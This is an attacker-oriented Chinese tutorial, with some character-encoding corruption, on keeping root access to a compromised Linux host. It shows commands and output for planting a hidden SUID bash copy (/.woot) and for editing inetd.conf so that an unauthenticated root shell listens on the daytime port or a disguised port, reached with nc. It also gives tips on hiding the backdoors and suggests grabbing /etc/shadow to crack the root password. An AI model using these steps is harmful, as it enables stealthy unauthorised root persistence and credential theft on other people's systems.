Linux后門的兩種姿勢(shì):suid shell與inetd后門
前提:
你現(xiàn)在已經(jīng)是root用戶, 想留一個(gè)后門。
系統(tǒng)環(huán)境:
dawg:~# uname -a Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
1. SUID shell
首先, 先切換成為root用戶,并執(zhí)行以下的命令:
dawg:~# cp /bin/bash /.woot
dawg:~# chmod 4755 /.woot
dawg:~# ls -al /.woot
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
當(dāng)然, 你也可以起其他更具備隱藏性的名字,我想猥瑣并機(jī)智的你,肯定能想出很多好的名字的。文件前面的那一點(diǎn)也不是必要的,只是為了隱藏文件( 在文件名的最前面加上“.”,就可以在任意文件目錄下進(jìn)行隱藏) .
現(xiàn)在,做為一個(gè)普通用戶,我們來(lái)啟用這個(gè)后門:
fw@dawg:~$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw)
fw@dawg:~$ /.woot
.woot-2.05b$ id
uid=1000(fw) gid=1000(fw) groups=1000(fw)
.woot-2.05b$
為什么不行呢?
因?yàn)?bash2 針對(duì) suid有一些護(hù)衛(wèi)的措施. 但這也不是不可破的:
.woot-2.05b$ /.woot -p .woot-2.05b# id uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p參數(shù)來(lái)獲取一個(gè)root shell. 這個(gè)euid的意思是 effective user id(關(guān)于這些ID的知識(shí),可以戳這里)
這里要特別注意的是,作為一個(gè)普通用戶執(zhí)行這個(gè)SUID shell時(shí),一定要使用全路徑。
小知識(shí):
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
這時(shí)就會(huì)返回具有SUID位的文件啦。
2. 遠(yuǎn)程后門:利用 /etc/inetd.conf
我們使用vi來(lái)修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal #discard stream tcp nowait root internal #discard dgram udp wait root internal #daytime stream tcp nowait root internal
修改為:
#discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i
開(kāi)啟inetd:
dawg:~# inetd
如果要強(qiáng)制重啟inetd:
dawg:~# ps -ef | grep inetd
root 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetd
root 13769 13643 0 17:51 pts/1 00:00:00 grep inetd
dawg:~# kill -HUP 362
現(xiàn)在我們就可以用nc來(lái)爆菊了:
C:tools
192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [192.168.1.77] 13 (daytime) open
bash: no job control in this shell
bash-2.05b# bash-2.05b#
bash-2.05b# id
uid=0(root) gid=0(root) groups=0(root)
bash-2.05b# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
小貼士:
我們可以修改/etc/services文件,加入以下的東西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我們可以修改成一些常見(jiàn)的端口,以實(shí)現(xiàn)隱藏。
小編感言: 其實(shí)下 /etc/shadow文件,爆破root的密碼才最保險(xiǎn)啊!